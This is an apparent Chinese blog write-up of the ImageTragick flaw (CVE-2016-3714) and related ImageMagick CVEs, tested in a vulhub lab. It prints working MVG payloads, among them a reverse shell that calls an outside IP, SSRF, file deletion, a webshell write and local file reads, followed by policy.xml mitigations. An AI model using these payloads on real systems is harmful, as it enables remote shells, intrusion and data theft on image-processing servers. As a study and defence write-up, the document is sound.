• Imagetragick 命令执行漏洞(CVE-2016–3714)


    Imagetragick介绍:

    ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。
    但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。

    命令执行漏洞是出在 ImageMagick 对 https 形式的文件处理的过程中。

    ImageMagick 之所以支持那么多的文件格式, 是因为它内置了非常多的图像处理库, 对于这些图像处理库, ImageMagick 给它起了个名字叫做”Delegate”(委托), 每个 Delegate 对应一种格式的文件, 然后通过系统的 system() 命令来调用外部的 lib 进行处理。调用外部 lib 的过程是使用系统的 system 命令来执行的,导致命令执行的代码。

    ImageMagick 委托的默认配置文件: /etc/ImageMagick/delegates.xml,类似以下这种定义格式:

    比如针对https是的delegate如下所示:

    wget"-q -O"%o""https:%M

    实际上的command中的%m意思是输入的 url 地址,但是由于只是做了简单的字符串拼接, 没有做任何过滤,直接拼接到 command 命令中,可以将引号闭合后通过 "|",”`”,”&” 等带入其他命令, 也就形成了命令注入

    比如传入以下代码:

    https://example.com"|ls"-al

    将形成:

    "wget" -q -O "%o" "https://example.com"|ls "-al"

    这样将成功执行命令。

    用vulhub上的环境进行测试,vul.jpg的内容如下:

    push 和 pop 是用于堆栈的操作,一个进栈,一个出栈;
    viewbox 是表示 SVG 可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;
    fill url() 是把图片填充到当前元素内;
    在其中我们使用了 fill url() 的形式调用存在漏洞的 https delegate, 当 ImageMagick 去处理这个文件时, 漏洞就会被触发。

    以上是对payload的解释

    ImageMagick 默认支持一种图片格式,叫 mvg,而 mvg 与 svg 格式类似,其中是以文本形式写入矢量图的内容,
    允许在其中加载 ImageMagick 中其他的delegate(比如存在漏洞的 https delegate)。并且在图形处理的过程中,
    ImageMagick 会自动根据其内容进行处理, 也就是说我们可以将文件随意定义为 png、jpg 等网站上传允许的格式, 这大大增加了漏洞的可利用场景。

    这里我们直接通过反引号来执行了命令

    也可以更改payload用来反弹shell:

    image over这个payload弹shell和curl貌似不能回显命令的执行结果,得换个payload:

    nc.png内容为:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/45.xxx.xxx.23/2233 0>&1")'
    pop graphic-context

    其他几个相关CVE的poc:

    CVE-2016-3718

    利用mvg格式中可以包含url的特点,进行SSRF攻击,POC如下:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(http://example.com/)'
    pop graphic-context

    CVE-2016-3715

    利用ImageMagick支持的ephemeral协议,来删除任意文件:

    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
    popgraphic-context

    CVE-2016-3716

    利用ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell。

    file_move.mvg
    -=-=-=-=-=-=-=-=-
    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'msl:/tmp/msl.txt'
    popgraphic-context
    
    /tmp/msl.txt
    -=-=-=-=-=-=-=-=-
    <?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="/tmp/image.gif" />
    <write filename="/var/www/shell.php" />
    </image>

    CVE-2016-3717

    可以造成本地文件读取漏洞:

    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'label:@/etc/hosts'
    pop graphic-context

    PHP扩展『ImageMagick』也存在这个问题,而且只需要调用了Imagick类的构造方法,即可触发这个漏洞,poc与上面说的一样。

    <?php
    new Imagick('vul.gif');

    这里因为命令结果是不回显的,所以需要带外信道,比如ceye

    修复:

    1.升级或使用php的GD库

    2.使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:

    <policymap>
    <policy domain="coder" rights="none" pattern="EPHEMERAL" />
    <policy domain="coder" rights="none" pattern="URL" />
    <policy domain="coder" rights="none" pattern="HTTPS" />
    <policy domain="coder" rights="none" pattern="MVG" />
    <policy domain="coder" rights="none" pattern="MSL" />
    </policymap> 

    参考:

    https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

    http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html

  • 相关阅读:
    Unstar A File:
    star 一个文件
    列出大星号文件
    删除用户
    curl -d
    创建用户
    Check Account Info
    List Accounts
    认证ping
    python 解接口返回的json字符串
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11243640.html
Copyright © 2020-2023  润新知